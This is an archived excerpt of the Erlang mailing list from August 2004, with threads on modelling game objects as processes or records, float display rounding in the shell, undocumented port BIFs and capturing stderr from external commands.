{X, {In, Out}}; okasaki_out({In, []}) -> [X|Out] = lists:reverse(In), {X, {[], Out}}. -record(queue_dict, {is_empty, in, out}). make_gen_queue(Empty, Is_Empty, In, Out) -> {#queue_dict{is_empty=Is_Empty, in=In, out=Out}, Empty()}. empty_list_queue() -> make_gen_queue(fun list_empty/0, fun list_is_empty/1, fun list_in/2, fun list_out/1). empty_okasaki_queue() -> make_gen_queue(fun okasaki_empty/0, fun okasaki_is_empty/1, fun okasaki_in/2, fun okasaki_out/1). is_empty({D, Q}) -> (D#queue_dict.is_empty)(Q). in(X, {D, Q}) -> {D, (D#queue_dict.in)(X, Q)}. out({D, Q}) -> {O, Q0} = (D#queue_dict.out)(Q), {O, {D, Q0}}. -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available URL: From johan@REDACTED Tue Aug 10 21:31:27 2004 From: johan@REDACTED (Johan Warlander) Date: Tue, 10 Aug 2004 21:31:27 +0200 Subject: Erlang hints for an OO junkie In-Reply-To: <20040810180302.GE23102@penne.localnet> References: <20040810180302.GE23102@penne.localnet> Message-ID: <20040810191252.M19656@snowflake.nu> On Tue, 10 Aug 2004 20:03:02 +0200, Carsten Schultz wrote > On Tue, Aug 10, 2004 at 08:34:19PM +0400, Vlad Balin wrote: > > It's just fine, we succeed, we have a "class" queue defined now, > > with a number of "methods". But here is one problem remains. > > Suppose we have defined another implementation of queue with a same > > interface. How would we define a generic function working with both > > implementation then? > > Problem is that we supposed not to have derect access to the data structure > > of the abstract data type, so we need operations to be _polymorphic_. > [solution snipped] > > I am not advocating this in any way, but you could also use a style > like in the appended module, if you really have to. Thanks to both of you for pointing out some other approaches :) I'm wondering if the solution really is to find a middle road somewhere.. because the more I think of it, the more it seem like I'll need most of the physical objects in the game world to actually be processes (or possibly group some of them together to be managed by a single process). The reason is that I'll need to propagate events. The example I used before is good enough I suppose - if someone in a room talks, the sound will need to propagate into any container-like items in the room as well (as appropriate) so that people sitting in a wagon, or hiding in a chest or closet for that matter, will have a chance of hearing what the person is saying. Going further into the problem domain, eventually I will begin to model Proximities, and those will be heavily dependent on the above interactions. A Proximity in this context is strictly speaking a location *within* a room, for example one of the tables in a tavern. The way it'll work is that if people sit around one table and whisper together, an outside observer in the same room will only be able to see/hear that they are whispering, but not what. On the other hand, if they talk normally, you'd actually be able to hear it.. and if they start shouting, it'll easily come across into other proximities in the room (in this example, people around other tables will hear them). I'm used to implementing this as a container without any physical obstructions to the outside, since Proximities *do* essentially 'contain' people. Of course, I don't know if there might a better way than using processes like this, to perform that particular feat.. Johan From matthias@REDACTED Tue Aug 10 21:33:10 2004 From: matthias@REDACTED (Matthias Lang) Date: Tue, 10 Aug 2004 21:33:10 +0200 Subject: Erlang hints for an OO junkie In-Reply-To: References: <20040810081243.26425.qmail@web41907.mail.yahoo.com> Message-ID: <16665.8950.645540.357876@antilipe.corelatus.se> Vlad Balin writes: > There's an another problem. Erlang is functional language, where destructive > updates and other side effects are not desirable things. > If you will use processes as a unit of incapsulation (think of it as object) > you> will introduce destructive updates, and loose the benefits of Erlang as > functional language. [...] > If you going to use it your design as a leading principle, the better idea > would be to use Smalltalk instead, not to emulate it in Erlang. Desperately avoiding side effects feels a bit like trying to write Haskell programs in Erlang. I don't know if that's better or worse than trying to write Smalltalk programs in Erlang, but it'll also lead to disappointment, especially when implementing a system with a lot of inherent concurrency (e.g. a switch). Using a process for encapsulation _is_ a common, normal and useful thing to do in Erlang. I'm not advocating transforming an OO design into an Erlang implementation by replacing all objects with a process, but often a process _is_ a useful unit of encapsulation. Matthias From cpressey@REDACTED Tue Aug 10 22:45:30 2004 From: cpressey@REDACTED (Chris Pressey) Date: Tue, 10 Aug 2004 13:45:30 -0700 Subject: Erlang hints for an OO junkie In-Reply-To: <20040810191252.M19656@snowflake.nu> References: <20040810180302.GE23102@penne.localnet> <20040810191252.M19656@snowflake.nu> Message-ID: <20040810134530.6643f3f9.cpressey@catseye.mine.nu> On Tue, 10 Aug 2004 21:31:27 +0200 "Johan Warlander" wrote: > On Tue, 10 Aug 2004 20:03:02 +0200, Carsten Schultz wrote > > On Tue, Aug 10, 2004 at 08:34:19PM +0400, Vlad Balin wrote: > > > It's just fine, we succeed, we have a "class" queue defined now, > > > with a number of "methods". But here is one problem remains. > > > Suppose we have defined another implementation of queue with a > > > same interface. How would we define a generic function working > > > with both implementation then? > > > Problem is that we supposed not to have derect access to the data > > > structure of the abstract data type, so we need operations to be > > > _polymorphic_. > > [solution snipped] > > > > I am not advocating this in any way, but you could also use a style > > like in the appended module, if you really have to. > > Thanks to both of you for pointing out some other approaches :) > > I'm wondering if the solution really is to find a middle road > somewhere.. because the more I think of it, the more it seem like I'll > need most of the physical objects in the game world to actually be > processes (or possibly group some of them together to be managed by a > single process). The reason is that I'll need to propagate events. My two cents: If it's "animate", if it has "dynamic behaviour", if it "moves" - model it as a process. If it isn't/hasn't/doesn't - model it as a record (or a dictionary.) So: people, motorcycles, windmills, radios, thunderstorms, etc are processes. Sandwiches, taverns, tables, mountains, etc are records. To deal with the unorthogonality introduced by this, you can write wrapper functions that work on either processes or records. Something like: get_description(Process) when is_pid(Process) -> Process ! {self(), get_description}, receive {Process, get_description, Description} -> Description end; get_description(#object{ desc=Description }) -> Description. This gives you both encapsulation and polymorphism, two OO favourites :) > The example I used before is good enough I suppose - if someone in a > room talks, the sound will need to propagate into any container-like > items in the room as well (as appropriate) so that people sitting in a > wagon, or hiding in a chest or closet for that matter, will have a > chance of hearing what the person is saying. For this, you will need to implement some sort of broadcaster pattern. Although the medium through which the speech travels will be involved, it need not be a process (because it's still inert - it doesn't have any dynamic behaviour, it's just a carrier.) Something like: say(Actor, Location, Speech) -> Listeners = find_listeners(Location), lists:foreach(fun(Listener) -> hear(Listener, Actor, Speech) end, Listeners). find_listeners(Location) would be something like a database query that finds all the things in the vicinity of the Location that are capable of hearing something said in the Location. The Location would typically be a record (not a process) and the listeners would typically be processes (not records,) but that needn't be a hard and fast rule - you might have magic swords that can respond to spoken commands or a family of intelligent insects that have a discussion while sitting on a person's scalp. Again, if you write wrapper functions to do the polymorphism, you don't have to worry about those distinctions as much. And if you have sub-locations (such as tables within a tavern,) you can search recursively through adjacent/contained objects (maybe limiting the depth of the search based on the volume of the speech) instead of relaying messages around. What I'm trying to say is that the propogation you're suggestion strikes me as a kind of searching problem, and things don't *have* to be processes in order for you to search through them. That said, you could very well model everything as processes, and have messages propogate from people to rooms back to people, and such. This may be a more elegant way to address the problem in some ways, but in my mind it's not sufficiently more elegant to warrant doing it. You can have a *lot* of processes in Erlang, but even so, the more conservative you are with them, the more efficient the result. If you model everything as a process you might be able to have 50K rooms, 50K items, 50K animals and 50K players; but if you only model "animate" things as processes you'll be able to have 100K animals, 100K players, and who knows how many rooms and items :) Again, just my two cents. > Going further into the problem domain, eventually I will begin to > model Proximities, and those will be heavily dependent on the above > interactions. A Proximity in this context is strictly speaking a > location *within* a room, for > example one of the tables in a tavern. > > The way it'll work is that if people sit around one table and whisper > together, an outside observer in the same room will only be able to > see/hear that they are whispering, but not what. On the other hand, if > they talk normally, you'd actually be able to hear it.. and if they > start shouting, it'll easily come across into other proximities in the > room (in this example, people around other tables will hear them). > > I'm used to implementing this as a container without any physical > obstructions to the outside, since Proximities *do* essentially > 'contain' people. > > Of course, I don't know if there might a better way than using > processes like this, to perform that particular feat.. > > Johan > Whichever way you choose to go, good luck! -Chris ...too busy with DragonFly to do much Erlang hacking lately :/ From chas@REDACTED Wed Aug 11 07:05:55 2004 From: chas@REDACTED (chas@REDACTED) Date: Wed, 11 Aug 2004 00:05:55 -0500 (CDT) Subject: arithmetic anomaly? In-Reply-To: <20040810134530.6643f3f9.cpressey@catseye.mine.nu> References: <20040810180302.GE23102@penne.localnet> <20040810191252.M19656@snowflake.nu> <20040810134530.6643f3f9.cpressey@catseye.mine.nu> Message-ID: <20040811.000555.93830225.chas@nirvana.lib.uchicago.edu> with the erlang shell i get this: (1024*1024-1) / 1024. 1024.00 the equivalent expression on the same platform (NetBSD on Intel) in the clisp implementation of common lisp gives me this: (/ (- (* 1024 1024) 1) 1024.0) 1023.999 ocaml: # float_of_int (1024*1024-1) /. 1024.0;; - : float = 1023.99902344 python: (1024*1024-1) / 1024. 1023.9990234375 the following gives a more expected result in erlang, so i wonder whether it's not a rounding error somewhere: (1024*1024-6) / 1024. 1023.99 From nick@REDACTED Wed Aug 11 08:03:33 2004 From: nick@REDACTED (Niclas Eklund) Date: Wed, 11 Aug 2004 08:03:33 +0200 (MEST) Subject: port_get_data Erlang module function not found In-Reply-To: <41190B6D.2020904@ericsson.com> Message-ID: It's in internal BIF. See port_get_data_1 in erl_bif_port.c (/emulator/beam/). /Nick > Inswitch Solutions - Erlang Evaluation wrote: > ...deleted > > - could someone tell me what does bif port_get_data/1 do? > > it does not seem to be documented? > > > > - where can I find a description of all erlang BIF? > > simplest way to find anything in any erlang module: > the Erlang manual index at matthias website: > http://www.corelatus.com/~matthias/modules.html > > bif's are in the module ''erlang''. > > > bengt > From erlang@REDACTED Wed Aug 11 08:47:03 2004 From: erlang@REDACTED (Peter L) Date: Wed, 11 Aug 2004 08:47:03 +0200 (CEST) Subject: arithmetic anomaly? In-Reply-To: <20040811.000555.93830225.chas@nirvana.lib.uchicago.edu> References: <20040810180302.GE23102@penne.localnet><20040810191252.M19656@snowflake.nu><20040810134530.6643f3f9.cpressey@catseye.mine.nu> <20040811.000555.93830225.chas@nirvana.lib.uchicago.edu> Message-ID: <8382.193.15.249.14.1092206823.squirrel@www69.webcows.se> You forgot one line: 1> (1024*1024-1)/1024. 1024.00 2> io:format("~.5f",[v(-1)]). 1023.99902ok It is just an rounding to 2 decimal thing. The erlang shell by default gives you 2 decimals and that is correctly rounded up to 1024.00. /Peter > > with the erlang shell i get this: > > (1024*1024-1) / 1024. > 1024.00 > > the equivalent expression on the same platform (NetBSD on Intel) in > the clisp implementation of common lisp gives me this: > > (/ (- (* 1024 1024) 1) 1024.0) > 1023.999 > > ocaml: > > # float_of_int (1024*1024-1) /. 1024.0;; > - : float = 1023.99902344 > > python: > > (1024*1024-1) / 1024. > 1023.9990234375 > > the following gives a more expected result in erlang, so i wonder > whether it's not a rounding error somewhere: > > (1024*1024-6) / 1024. > 1023.99 > -- Peter Lund http://lundata.se,+46 70 543 9416 From johan@REDACTED Wed Aug 11 09:03:02 2004 From: johan@REDACTED (Johan Warlander) Date: Wed, 11 Aug 2004 09:03:02 +0200 Subject: arithmetic anomaly? In-Reply-To: <20040811.000555.93830225.chas@nirvana.lib.uchicago.edu> References: <20040810180302.GE23102@penne.localnet> <20040810191252.M19656@snowflake.nu> <20040810134530.6643f3f9.cpressey@catseye.mine.nu> <20040811.000555.93830225.chas@nirvana.lib.uchicago.edu> Message-ID: <20040811070112.M82939@snowflake.nu> On Wed, 11 Aug 2004 00:05:55 -0500 (CDT), chas wrote > with the erlang shell i get this: > > (1024*1024-1) / 1024. > 1024.00 > > the equivalent expression on the same platform (NetBSD on Intel) in > the clisp implementation of common lisp gives me this: > > (/ (- (* 1024 1024) 1) 1024.0) > 1023.999 Well.. it's not exactly yesterday that I had my math classes, but rounding of 1023.999 to two decimals would go up, wouldn't it, since the third decimal is >= 5? Thus, 1024.00. Johan From hedeland@REDACTED Wed Aug 11 09:07:03 2004 From: hedeland@REDACTED (Per Hedeland) Date: Wed, 11 Aug 2004 09:07:03 +0200 (CEST) Subject: arithmetic anomaly? In-Reply-To: <20040811.000555.93830225.chas@nirvana.lib.uchicago.edu> Message-ID: <200408110707.i7B773xl019934@tordmule.bluetail.com> chas@REDACTED wrote: > >with the erlang shell i get this: > >(1024*1024-1) / 1024. >1024.00 Which is correctly rounded to 2 decimals (or rather 6 significant digits) if the "real" value is 1023.9990234375 or thereabouts. >the following gives a more expected result in erlang, so i wonder >whether it's not a rounding error somewhere: It's just a matter of the shell's default output format for floats - see the description of the io:format() function in the io(3) man page: 1> F = (1024*1024-1) / 1024. 1024.00 2> io:format("~w~n",[F]). 1024.00 ok 3> io:format("~g~n",[F]). 1024.00 ok 4> io:format("~f~n",[F]). 1023.999023 ok 5> io:format("~.10g~n",[F]). 1023.999023 ok 6> io:format("~.10f~n",[F]). 1023.9990234375 ok 7> --Per From johan@REDACTED Wed Aug 11 09:30:54 2004 From: johan@REDACTED (Johan Warlander) Date: Wed, 11 Aug 2004 09:30:54 +0200 Subject: Erlang hints for an OO junkie In-Reply-To: <20040810134530.6643f3f9.cpressey@catseye.mine.nu> References: <20040810180302.GE23102@penne.localnet> <20040810191252.M19656@snowflake.nu> <20040810134530.6643f3f9.cpressey@catseye.mine.nu> Message-ID: <20040811070521.M64781@snowflake.nu> On Tue, 10 Aug 2004 13:45:30 -0700, Chris Pressey wrote > My two cents: > > If it's "animate", if it has "dynamic behaviour", if it "moves" - model > it as a process. If it isn't/hasn't/doesn't - model it as a record (or > a dictionary.) > > So: people, motorcycles, windmills, radios, thunderstorms, etc are > processes. Sandwiches, taverns, tables, mountains, etc are records. Okay, here's the catch - it's certainly as you say above, that the first set of objects have dynamic behaviour, while the second set ordinarily do not.. however, these things are not so static. A dead person doesn't move, while an enchanted sandwich might very well fly around flapping its lettuce, and for a more down-to-earth example, if you leave the sandwich on the table for a week or two it'll definitely gain some dynamic behaviour. The thing is that you can seldomly rely on anything at all to be non-dynamic in a game. However, one thought I had was if perhaps the objects/items as such - even persons and windmills - should be indeed records, and the behaviours themselves be the processes, attaching to the appropriate record. For example, a player logging in would cause his in-game body to be loaded and instantiated in the game as a record, but his connection to the game (that which allows him to issue commands to be parsed and executed) would be a process, attached to the body. Similarly, if someone casts an enchantment on a sandwich (for whatever devilish purposes), that enchantment would be the process, and it would attach to the sandwich. I don't know if this would solve all of these issues (or indeed any of them), but it seems to me like one possible way. > That said, you could very well model everything as processes, and > have messages propogate from people to rooms back to people, and > such. This may be a more elegant way to address the problem in some > ways, but in my mind it's not sufficiently more elegant to warrant > doing it. You can have a *lot* of processes in Erlang, but even so, > the more conservative you are with them, the more efficient the > result. If you model everything as a process you might be able to > have 50K rooms, 50K items, 50K animals and 50K players; but if you > only model "animate" things as processes you'll be able to have 100K > animals, 100K players, and who knows how many rooms and items :) Well, either way would work for me as I'm not aiming to build a massively multi-player game; rather, my intended audience if this ever turns into a playable game would be somewhere around 40-150 people I think.. with the possibility of handing a few hundred, but absolutely not numbers in the thousands. The game world as well will probably not ever grow too far beyond a few thousand rooms, as I'd rather have 500 great rooms than 5000 average ones. In short, performance -shouldn't- turn out to be the deciding factor.. I'd be more inclined to value simplicity / beauty of implementation (whatever this turns out to mean in Erlang), since those factors tend to add a lot to the maintainability of code. > Whichever way you choose to go, good luck! Thanks! Johan From vlad_dumitrescu@REDACTED Wed Aug 11 10:24:02 2004 From: vlad_dumitrescu@REDACTED (Vlad Dumitrescu) Date: Wed, 11 Aug 2004 10:24:02 +0200 Subject: Erlang hints for an OO junkie References: <20040810180302.GE23102@penne.localnet> <20040810191252.M19656@snowflake.nu> <20040810134530.6643f3f9.cpressey@catseye.mine.nu> <20040811070521.M64781@snowflake.nu> Message-ID: Hi, You can always describe things as records, and when/if they become animate, then that record can be used to spwn a process. And when it "dies", the state can be stored as a record again in the database (or whatever). I have a similar problem, about whether to use processes to implement windows. Having to handle processes linked to each other in several overlapping hierarchies is not fun at all, and I split the functionality in several smaller parts, the simpler ones being just data in an ets table with one managing process. This way I can have the top loop is significantly simpler. Maybe something similar can be done for your application - for example have a "sound manager" that just keeps track of where everyone is, and dispatches any sounds. Just a thought: you could look at mdisp, an application written by ulf Wiger, to be found among the user contributions on erlang.org. It could fit well in your setting. regards, Vlad From johan@REDACTED Wed Aug 11 10:52:37 2004 From: johan@REDACTED (Johan Warlander) Date: Wed, 11 Aug 2004 10:52:37 +0200 Subject: Erlang hints for an OO junkie In-Reply-To: References: <20040810180302.GE23102@penne.localnet> <20040810191252.M19656@snowflake.nu> <20040810134530.6643f3f9.cpressey@catseye.mine.nu> <20040811070521.M64781@snowflake.nu> Message-ID: <20040811085033.M29306@snowflake.nu> On Wed, 11 Aug 2004 10:24:02 +0200, Vlad Dumitrescu wrote > Hi, > > You can always describe things as records, and when/if they become > animate, then that record can be used to spwn a process. And when it > "dies", the state can be stored as a record again in the database > (or whatever). Yeah, it's something like that I was thinking about. > Just a thought: you could look at mdisp, an application written by > ulf Wiger, to be found among the user contributions on erlang.org. > It could fit well in your setting. I've had a brief look at it, and it looks pretty promising :) Thanks for the hint, it never hurts to learn a little from what others have done ;) Johan From johan@REDACTED Wed Aug 11 11:28:09 2004 From: johan@REDACTED (Johan Warlander) Date: Wed, 11 Aug 2004 11:28:09 +0200 Subject: Erlang hints for an OO junkie In-Reply-To: <46F793F6-EB72-11D8-BCA7-000393AF7F82@bjoernknafla.de> References: <20040810180302.GE23102@penne.localnet> <20040810191252.M19656@snowflake.nu> <20040810134530.6643f3f9.cpressey@catseye.mine.nu> <20040811070521.M64781@snowflake.nu> <46F793F6-EB72-11D8-BCA7-000393AF7F82@bjoernknafla.de> Message-ID: <20040811085426.M80683@snowflake.nu> On Wed, 11 Aug 2004 10:41:45 +0200, Bjoern Knafla wrote > This sounds like an interesting concept - reminds me a bit of the > current crop of graphic APIs where you send packages of code that > can be aggregated on the graphic processor and then streams of data > to be modified by the code to produce the graphics. All of this > gets me itching to learn more Erlang and to do the same you do > (writing a game) :-) > > It might also be interesting to take a look at the "Rei" code (a > game server project ( http://www.erlang- > projects.org/Public/projects/games/ game_development_usi/view code: > http://metafrog.erlang-projects.org/projects/project.yaws? > id=108623324498232 ) ). However before I do so I have to read a bit > more about the ideas of the OTP lib. I was actually looking for a downloadable package somewhere, so thanks for the link :) Going to have a look at what they've done so far.. > Do you plan to open source the code? I would really like to see what > you are doing and to hear about your experiences with Erlang. Will definitely do that, if/as soon as I get as far as a semi-usable prototype. In that case, it's probably going up on SourceForge. > So, good luck from me, too! Thanks! Johan From joe@REDACTED Wed Aug 11 14:02:19 2004 From: joe@REDACTED (Joe Armstrong) Date: Wed, 11 Aug 2004 14:02:19 +0200 (CEST) Subject: Erlang hints from an CO junkie In-Reply-To: <20040810134530.6643f3f9.cpressey@catseye.mine.nu> References: <20040810180302.GE23102@penne.localnet> <20040810191252.M19656@snowflake.nu> <20040810134530.6643f3f9.cpressey@catseye.mine.nu> Message-ID: re: OO My ten cents: I always tell people this: 1) Identify the concurrency in your problem. Give the processes names. 2) Identify the message channels - give these names. 3) Write down all the messages that are seen on a channel, give these names In doing this you have to chose a "granularity of concurrency" that is appropriate for your problem. If you are modelling crowds then one process per person would be appropriate, you would not model a person as 10^26 molecules with one molecule per processes. You can skip over some steps - miss out the names for example (if the problem is small) - but if it is complex then name your processes and messages - if things have got names you can talk about them otherwise you can't (which make life, and the design, difficult). Modelled objects should be either static or dynamic. Here you have to make you mind up and not change your mind later. An object cannot be static then later dynamic and back to static (in this case it should have always been dynamic). Modelling static objects is a matter of taste and programming style and depends upon the nature of the problem. I often use a single process to represent all the static data. Suppose we have a town with a thousand houses - suppose we say this is a static town (ie we decide that there will be no new houses, no houses will be changed) - this I'd model using a single town process. Now internally the town process might spawn off 1000 house process, it might stick everything into a big ets table or use a dictionary - who cares. The important bit is that the user only sees the protocol (ie the messages) between the application and the town process and not any internal details of *how* the town process is implemented. Note we are not doing OO programming here we are doing CO programming. In Concurrency Oriented (CO) programming you concentrate on the concurrency and the messages between the processes. There is no sharing of data. An Erlang should be thought of thousands of little black boxes all doing things in parallel - these black boxes can send and receive messages. Black boxes can detect errors in other black boxes - that's all. At the design level of abstraction how things work internally *inside* a black box is irrelevant - the programming language used inside a BB be it a functional or imperative or OO or relational language is irrelevant. Erlang uses a simple functional language inside the BBs - this is not particularly interesting - *any* language that does the job would do - the important bit is the concurrency. Most languages (ie virtually all languages except Erlang, and Oz (are there more????) do not support concurrent programming in any meaningful way. Java provides threads (for example) << threads are kind of brain-dead processes, some bright-ideas guy got the idea that you could clump together several different parallel computations in such a way that the computations could share resources and thus crash each other -- and thereafter and forever people have been trying to figure out how to program with them >> - but not many. Can you make 100,000 threads in your latest Java system - try it << answer: no way>> The last time I tried I could make a few (read small) thousand Java threads before my machine slowed to a pathetic crawl and died. Suppose I had invented a new OO language and said to people: "Don't use more that 2500 objects, because if you do the system won't work" Some might say "your language sucketh, and it is impossible to do OO programming in your language". So for Java and C++ and (all the rest ...) I'd "these languages cannot be used for concurrent programming - Why? - because you can't create tens of thousands of processes and program the concurrency you want. So why would you want to program in a concurrent manner? I'll give two reasons. 1) The world is concurrent 2) You might want to write reliable software 1) - Yes - the world really is concurrent - if you don't believe me go and look - modelling real-world activities as a sequential stream of events is difficult and error prone. 2) If you want to build reliable software (read fault-tolerant software) you will need to use at least two computers (one won't work, 'cos if it crashes you're screwed) - If you use two or more computers you're into distributed concurrent programming whether you like it or not. /Joe From johan@REDACTED Wed Aug 11 15:47:01 2004 From: johan@REDACTED (Johan Warlander) Date: Wed, 11 Aug 2004 15:47:01 +0200 Subject: Erlang hints from an CO junkie In-Reply-To: References: <20040810180302.GE23102@penne.localnet> <20040810191252.M19656@snowflake.nu> <20040810134530.6643f3f9.cpressey@catseye.mine.nu> Message-ID: <20040811131941.M23027@snowflake.nu> On Wed, 11 Aug 2004 14:02:19 +0200 (CEST), Joe Armstrong wrote > re: OO > > My ten cents: > > I always tell people this: > > 1) Identify the concurrency in your problem. Give the processes > names. > 2) Identify the message channels - give these names. > 3) Write down all the messages that are seen on a channel, give > these names > > In doing this you have to chose a "granularity of concurrency" that > is appropriate for your problem. > > If you are modelling crowds then one process per person would > be appropriate, you would not model a person as 10^26 molecules > with one molecule per processes. I'll try it out and see what I end up with :) One question, however.. what's your definition of a message channel above - the stream of messages between different process roles? (Such as person <-> person, room <-> person if a room was also a process, etc..) > Modelled objects should be either static or dynamic. Here you have > to make you mind up and not change your mind later. An object > cannot be static then later dynamic and back to static (in this > case it should have always been dynamic). This would suggest, in my case, to make almost everything dynamic from the start. Breaking up the world into smaller pieces, the only really static things I can see are 'faked' details about the environment. For example, a room (dynamic) has a description and an inventory. The inventory consists of: 1) permanent objects that cannot be moved, but with which you can interact (chairs to sit in, tables to put things on..), 2) items that can be picked up and moved around, and with which you can interact (candles to be lit, apples to be eaten..), 3) decorative details of everyday things that can be found in rooms, but which are not important enough to warrant spending resources on interaction - basically you can look at them, try to get them, kick them, etc, but all you get is a textual response (wallpaper, pictures, the crack in the wall..). Out of these, 1 and 2 would be dynamic and 3 could definitely be static. Of course, that's not so bad.. because while a room might have two or three permanent objects, and a varying number of items people drop there, it might easily have ten to twenty details. Thus the static items will probably end up in majority. > 2) If you want to build reliable software (read fault-tolerant > software) you will need to use at least two computers (one won't > work, 'cos if it crashes you're screwed) - If you use two or more computers > you're into distributed concurrent programming whether you like it > or not. Sort of an off-topic question I guess.. Given that client connections are simple telnet sessions, would it be easy to make it so that with two servers, if one crashes then the only thing that happens is you get disconnected, and as soon as you connect to the other server again you get back into the game at the point you dropped off? This would be nice to have.. and simple with the round-robin behaviour of DNS, even without specialised clients. Johan From jamesh@REDACTED Wed Aug 11 15:58:06 2004 From: jamesh@REDACTED (James Hague) Date: Wed, 11 Aug 2004 08:58:06 -0500 Subject: Erlang hints from an CO junkie Message-ID: Joe Armstrong wrote: > 1) Identify the concurrency in > your problem. Give the processes > names. This can be tricky, in that there's faux concurrency in many problems. That is, things may appear dynamic, but in reality they're static. For example, in a video game, it is tempting to model each critter in the game as a process. In a single-player video game, though, there is no true concurrency. Each object moves in a lock-step fashion, once per frame. You could still use processes, but it's more a method of organization than a way to handle concurrent activities. Once you make this a multiplayer networked game, then all of a sudden real concurrency jumps into the picture, in that sending and receiving network packets can happen at the same time as other processing. > Erlang uses a simple functional language > inside the BBs - this is not particularly > interesting - *any* language that does the > job would do I disagree here, but I'll go along for the ride :) If the functional aspect of Erlang is not interesting, then it seems an odd choice. Wouldn't it have been better to go with something that feels more comfortable to most programmers? Has replacing the functional part of Erlang ever been considered? From joe@REDACTED Wed Aug 11 16:41:37 2004 From: joe@REDACTED (Joe Armstrong) Date: Wed, 11 Aug 2004 16:41:37 +0200 (CEST) Subject: A useful program Message-ID: Here (attached) is a very useful program /Joe -------------- next part -------------- A non-text attachment was scrubbed... Name: reproduce.erl Type: application/octet-stream Size: 1586 bytes Desc: URL: From cyberlync@REDACTED Wed Aug 11 16:49:19 2004 From: cyberlync@REDACTED (Eric Merritt) Date: Wed, 11 Aug 2004 10:49:19 -0400 Subject: Erlang hints from an CO junkie In-Reply-To: References: Message-ID: On Wed, 11 Aug 2004 08:58:06 -0500, James Hague wrote: > This can be tricky, in that there's faux concurrency in many problems. That > is, things may appear dynamic, but in reality they're static. For example, > in a video game, it is tempting to model each critter in the game as a > process. In a single-player video game, though, there is no true > concurrency. Each object moves in a lock-step fashion, once per frame. You > could still use processes, but it's more a method of organization than a way > to handle concurrent activities. Once you make this a multiplayer networked > game, then all of a sudden real concurrency jumps into the picture, in that > sending and receiving network packets can happen at the same time as other > processing. I think you may be missing the point (or perhaps I am). It matters not how the critter is displayed or the fact that it is moved once per frame. What matters is that in real life the critter would be concurrent, so it makes allot of sense to model the critter as a concurrent process in the system. This would, perhaps, have implementation considerations in updating the screen. However, that has little or no meaning as far as modeling the critter goes. From bengt.kleberg@REDACTED Wed Aug 11 16:50:40 2004 From: bengt.kleberg@REDACTED (Bengt Kleberg) Date: Wed, 11 Aug 2004 16:50:40 +0200 Subject: A useful program In-Reply-To: References: Message-ID: <411A3240.4040501@ericsson.com> Joe Armstrong wrote: > > Here (attached) is a very useful program if this is not stopped right now, we will end up with an ioecc :-) bengt From joe@REDACTED Wed Aug 11 16:52:27 2004 From: joe@REDACTED (Joe Armstrong) Date: Wed, 11 Aug 2004 16:52:27 +0200 (CEST) Subject: Erlang hints from an CO junkie In-Reply-To: References: Message-ID: On Wed, 11 Aug 2004, James Hague wrote: > Joe Armstrong wrote: > >> 1) Identify the concurrency in >> your problem. Give the processes >> names. > > This can be tricky, in that there's faux concurrency in many problems. That > is, things may appear dynamic, but in reality they're static. For example, > in a video game, it is tempting to model each critter in the game as a > process. In a single-player video game, though, there is no true > concurrency. Each object moves in a lock-step fashion, once per frame. You > could still use processes, but it's more a method of organization than a way > to handle concurrent activities. Once you make this a multiplayer networked > game, then all of a sudden real concurrency jumps into the picture, in that > sending and receiving network packets can happen at the same time as other > processing. I never said identifying the concurrency patterns were easy :-) - they have to be "appropriate" for the problem. > >> Erlang uses a simple functional language >> inside the BBs - this is not particularly >> interesting - *any* language that does the >> job would do > > I disagree here, but I'll go along for the ride :) If the functional aspect > of Erlang is not interesting, then it seems an odd choice. Wouldn't it have > been better to go with something that feels more comfortable to most > programmers? Has replacing the functional part of Erlang ever been > considered? Well the first ever Erlang was a prolog meta-interpretor to extend Prolog with concurrent processes. This approach became problematic since you needed to avoid backtracking after you had sent a message. We didn't really want backtracking to "unsend messages" etc. and so we arrived at a Prolog without backtracking and things drifted off towards a more functional view of the world. /Joe > From jamesh@REDACTED Wed Aug 11 17:00:36 2004 From: jamesh@REDACTED (James Hague) Date: Wed, 11 Aug 2004 10:00:36 -0500 Subject: Erlang hints from an CO junkie Message-ID: > I think you may be missing the point (or perhaps I am). It matters > not how the critter is displayed or the fact that it is moved > once per frame. What matters is that in real life the critter would > be concurrent, so it makes allot of sense to model the critter as a > concurrent process in the system. I disagree. Or at least I'll say "it depends." All you really need in this case is a function that you call with the old critter state and you get back a new critter state. That function could simply take a record, which includes either a state variable or fun, and returns a new record. Or it could send an update message to a process and wait for the result. It doesn't matter. There's no true concurrency here. From davidw@REDACTED Wed Aug 11 17:05:04 2004 From: davidw@REDACTED (David N. Welton) Date: Wed, 11 Aug 2004 17:05:04 +0200 Subject: open_port vs stderr Message-ID: <411A35A0.6080903@eidetix.com> Hi, I was cruising through the Erlang sources having a look at how to make a better os:cmd. Aside from the fact that it would currently be possible to do something like {ExitStatus, Data} = os:cmd("....") I was hoping to find a way to deal with stderr. To my reading of the code though, that doesn't look very possible... are there any plans in the works to 'fix' this? I suppose most people prefer not to have to deal with system command, and write code in erlang itself, or at most C, but sometimes it's useful to be able to interact with foreign commands in as controlled a manner as possible. I envision being able to write code like: receive {Port, {data, Bytes}} -> io:format("Received ~p~n", [Bytes]); {Port, {data_stderr, Bytes}} -> io:format("StdErr Received ~p~n", [Bytes]); {Port, {exit_status, Status}} -> io:format("Exit Status ~p~n", [Status]); Other -> io:format("Not data ~p~n", [Other]) Thankyou, -- David N. Welton davidw@REDACTED From joe@REDACTED Wed Aug 11 17:06:32 2004 From: joe@REDACTED (Joe Armstrong) Date: Wed, 11 Aug 2004 17:06:32 +0200 (CEST) Subject: Erlang hints from an CO junkie In-Reply-To: <20040811131941.M23027@snowflake.nu> References: <20040810180302.GE23102@penne.localnet> <20040810191252.M19656@snowflake.nu> <20040810134530.6643f3f9.cpressey@catseye.mine.nu> <20040811131941.M23027@snowflake.nu> Message-ID: On Wed, 11 Aug 2004, Johan Warlander wrote: > On Wed, 11 Aug 2004 14:02:19 +0200 (CEST), Joe Armstrong wrote >> re: OO >> >> My ten cents: >> >> I always tell people this: >> >> 1) Identify the concurrency in your problem. Give the processes >> names. >> 2) Identify the message channels - give these names. >> 3) Write down all the messages that are seen on a channel, give >> these names >> >> In doing this you have to chose a "granularity of concurrency" that >> is appropriate for your problem. >> >> If you are modelling crowds then one process per person would >> be appropriate, you would not model a person as 10^26 molecules >> with one molecule per processes. > > I'll try it out and see what I end up with :) One question, however.. what's > your definition of a message channel above - the stream of messages between > different process roles? (Such as person <-> person, room <-> person if a room How about "the name of a set of messages between a pair of processes". If you have people processes and room processes you'd have several message channels people-people room-people etc. > was also a process, etc..) 